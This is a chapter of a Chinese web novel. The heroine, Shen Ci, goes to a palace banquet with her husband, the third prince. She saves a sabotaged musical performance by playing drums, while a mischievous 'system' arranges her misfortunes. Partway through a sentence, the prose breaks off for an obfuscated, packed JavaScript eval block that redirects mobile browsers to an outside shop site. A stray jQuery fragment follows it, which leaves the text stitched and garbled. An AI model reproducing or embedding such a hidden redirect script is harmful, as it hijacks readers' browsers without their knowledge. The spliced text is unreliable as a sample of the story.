早膳吃得沈辞算是心惊胆战,生怕桌子对面的人再提起昨晚之事,眼看危机已过。
对方突然抬头看向自己,让刚平静的心又提了起来。
“明日宫内举行一年一度的御宴,你同我一起。”
早朝上宣布今年的宴席都要带家眷,往年人在外也就算了。
想到府中的人,萧宸本想着以什么理由搪塞过去。
没想到,被皇上钦点也实在没了办法。
【宫宴?这不是难为人吗?】沈辞暗忖。
想到自己也没有资格说不,现在也只能硬着头皮应下。
【等等,沈侍郎不会也?】她默揣。
“想必夫人也思念岳丈了,恰好明日可以叙叙旧。”
【谁想和他叙旧,真是疯了?】听到对方的话,沈辞感觉心里都颓废了许多。
【最好沈侍郎别起什么幺蛾子。】
知道沈辞心底是这个态度,萧宸心里饶有玩味,“夫人不必担心宫宴人多,到时我会将一切安排好的。
【真是没见过这么欠的。】沈辞强压下心底的嫌恶,面上强挤出三分笑意。
“殿下真是对臣妾体贴入微,妾身再此先谢过殿下了。”咬着牙,语气殷勤到了极致。
见对方没说话,“妾身定不给殿下丢脸。”这也是她告诫自己的,进宫可不是一件小事,弄不好小命.....
即使眼前的女人演的再好,在萧宸眼里也如透明,原本还对宫宴存的几分排斥此刻荡然无存。
好不容易熬到了早上,铜镜里的人面容憔悴无精打采,想到一会儿要跟着进宫就更烦了。
宫斗剧她虽看过不少,可理论和实践能不能结合本身就是两码事。
她甚至还问过系统,进宫需要注意什么,可那搞事情的系统却告诉她小心“天降横祸。”
真是让她一口气差点没上来。
“二小姐,这是给您明天进宫的衣物。”
光听声音就很让人讨厌,沈辞头都没抬。
“放那吧。”
门口的人碰了钉子自然不会善罢甘休,扭了两下身体将衣物放在中间的桌子上。
“老爷说了,有话要交代你,你到时看着点脸色,别误了大事。”
不愧是沈倩的丫鬟,茶的样子都随正主。
“怕耽误正事,要不你来?”这是沈辞头一次噎人。
怎么地自己也是个王妃,要不是碍于沈侍郎加上原主性子软,也不至于让一个奴婢爬到头顶撒野。
丫鬟恐没想到会收到这样的回答,脸涨得通红,可又碍于身份不敢造次。
“珍儿可不敢,既然二小姐胸有成竹,奴婢多嘴了。”
沈辞拿起桌上的衣服,“还有事?”
言毕,就看到门口的人甩了个脸,走了。
正红的锦缎,玄色的云纹织锦,在光下泛着柔润的光泽。
“走吧”沈辞再次理了理袖缘,轻声说道。
晨风正好从檐角绕过来,吹掀了门口人的玄色锦袍一角。
此人腰束玉带,墨色的眸子在日光下泛着悠悠冷泽,整个人透着沉着、矜贵、带着生人勿进的距离感。
沉浸只是片刻,再抬眼,那人已然登上了车。
车帘落下,马蹄声起,清脆的敲着青石长街,往宫门的方向去了。
太和殿前的白玉台阶泛着光,沈辞立于萧宸身侧迎着各个尚书、各种侍郎的躬身行礼,阿谀奉承。
从周围人的话里可以得知,三皇子骁勇善战足智多谋可小说的结局怎会?
踌躇间,就听到三皇子淡笑着虚浮了一把:“李大人客气了,听闻府上千金上月及笄,本宫还未及道贺。”
见惯了这人冷厉的样子,听到这声不咸不淡的轻笑,沈辞竟有些恍惚。
说话间几个人的脚步也没停。
跟着身旁的人踏过门槛,目光略过前排几位再往中断一扫让人连呼吸都顿了一拍。
她刚要把目光撤回,就和正在和高官寒暄的亲爹那意味深长的眼神对上,只能被迫点头算打了招呼。
沈辞坐在大殿靠前的位置,尽量让自己看起来不失大家闺范,就如其他人说得那样能和身旁的人更加相配。
一声尖细的唱喏划过殿内的喧嚣,瞬间变得安静。
所有人目光齐聚丹陛正门,待人站定,百官行礼。
而后宫宴开始。
觞过数巡,给肃穆的大殿添了些许柔和暖意。
一众朝臣依次向台上的人敬酒,说颂词。
家眷们三两成群似说着闺房闲话。
于满堂众人之中,沈辞总觉有视线频频落于自身。
几番环视,终于锁定了目标。
沈倩身旁之人满身织金锦袍趁着珠翠簪饰,样貌可人一眼便知身份矜贵。
她想起了系统说的“天降横祸”。
正担心祸从何来,就看到。
女子起身走到大殿中央,伴随着敛祍屈膝福礼,殿内安静了下来。
随后行礼请奏,说明抚琴献舞。
得到帝王应允后,女子垂眸谢恩,身姿娉婷,抬手示意乐师。
乐声缓缓漫出,调子清和雅致,每一个动作克制温婉,不见张扬媚态。
舞至收尾,她躬身谢礼,顺利得到帝王的赏赐。
舞曲虽美却跳得沈辞心惊胆跳,甚至心都提到了嗓子眼,总觉得一舞曲之后的事和自己有关。
果然,“听闻三皇子妃音乐造诣极高,可凭借几碗水奏出天籁之音。不知在今日这盛筵时刻可否助兴?”
说完,沈辞就见女子的目光看向这边,不是自己。
“宸哥哥。”女子声音上扬。
“我想宸哥哥定不会金屋藏娇,而舍不得这般绝妙音律让旁人听到吧?”
听闻,沈辞余光瞥了一眼旁边,那人一如既往,没有任何波澜。拿起案上的酒杯,放在嘴边也不知喝了没有。
【这人是聪明还是傻?没看到自己被针对了吗?】
沈辞心头发紧,甚至有些手抖心想:【这可是要给皇帝和满朝文武表演啊?】
见萧宸未应,“姑母,你看啊?他又不理我。”
龙纹宝座上的女人一脸宠溺,“辞儿,既然有才艺,不然就助助兴。”
眼看萧宸没说话,抗旨一定不行。
沈辞深吸口气,略过身旁的人从容起身,“谨遵母后懿旨。”
目光扫过台下,文武百官纷纷表现出一副期待的样子。
唯独角落里的沈侍郎似乎眼底盛满了担忧。
也对,养在府外的结发之妻之女哪有闲钱学舞曲,母女谋生都耗尽了所有力气,要不是另有所图,也不能将两人接回府养着。
来之前沈辞就想到了自己有可能会被针对,当看到沈倩和嫡母都在的时候她更加确信。
没想到来的这么快。
好在这个问题还难不倒她。
从容走到殿中福了福
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17816729|211072||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
身,转身走向乐工之中。
“可否将这琵琶借我一用。”
上学的时候选修学了几节课,好歹还能应付一下。
本来心里还有些庆幸,抬手打算试音。
【叮,系统即将“天降横祸。”】
随即一个音刚弹出,走调有些刺耳的声音划过耳畔,也让沈辞的心跳失调了。
看着拨断的琴弦,又看了眼乐工手里的乐器沈辞有些进退两难。
她用求助的目光看了眼萧宸,可那人的目光还在手里那个酒杯上。
【算了求人不如求己,自己真是脑子坏掉了,竟然指望萧宸那个冷面无情王八蛋。】心里骂完就对上了一双想要杀人的眼睛。
瞬间让她冒了一身冷汗,要不是自己没出声,她真的以为萧宸听见自己骂他了。
眼看殿内因为自己久久未动变得有些窃语躁动。
好在此路不通,自有通路。沈辞脑袋飞速运转,看着眼前的各种乐器。
她重新走到乐工之中,让人将后面的建鼓搬到殿中。又差人将两边各放了一只小堂鼓。
将四面铜钹,两个大的各吊在了建鼓上面的木架上。
殿内的人面面相觑,眼睁睁看着被凑到一起的前所未有的排布。
一切安排就绪,沈辞再次福身示意众人,要准备开始了。
随着两面铜钹“嚓”地脆响,瞬间敲碎了满殿凝住的空气。
紧接着双锤落下。
那节奏是活的,带着一股野蛮,左右交击,越来越密。
鼓声渐收,原本夹在鼓点中的歌声不在是哼唱,而是坦荡放开了嗓子。
“江山笑,烟雨摇......豪情仍在,痴痴笑笑。”
歌曲的最后一个字落定,满殿无人做声。
又过了会儿,恐是大家反应过来,先是零星的几声,而后剧烈的掌声伴随着称赞层层迭起。
表演过后,她含笑重新回到殿中,忽略众人略显吃惊的目光。福身规规矩矩地:“父皇、母后,妾身闲暇时编的小曲,让圣上见笑了。”而后双膝跪地“儿媳借此恭祝父皇母后江山永固,圣寿无疆。”
跟着众人紧随其后,纷纷附和。
【躲过一劫,马屁还是要拍的。】沈辞心想,又趁乱余光瞥了眼不远处坐着的人,恰巧四目相对。
不过对方好像不怎么开心。
【见死不救,都不是好人。】沈辞将视线收回。
一番表演过后,显然龙颜大悦。
紧紧一个“赏”字,就让沈辞心里乐开了花。
她已经想到这笔钱要怎么花了?
可美好总是昙花一现,刚回到座位。
“多谢夫人愿意将这笔钱捐给边疆战士作犒军之用。”
“等等!”沈辞有些没反应过来。
“也算夫人为咱们府邸分忧了。”她确定她没听错。
【该死,自己好不容易得到的,还有用呢?几个意思这是。】
沈辞绞尽脑汁想着以什么理由拒绝。
可对方先自己一步。“莫非夫人不愿为府里分忧?”
她终于体会到什么叫先下手为强了。
无奈也只能“殿下安排就是,能为殿下分忧是臣妾的福分。”
【天知道这话有多违心。】
为了自我安慰,沈辞告诉自己意外之财不要也罢。
【叮,宿主表现不错,请迎接下一波‘天降横祸’争取获得更多好运值。】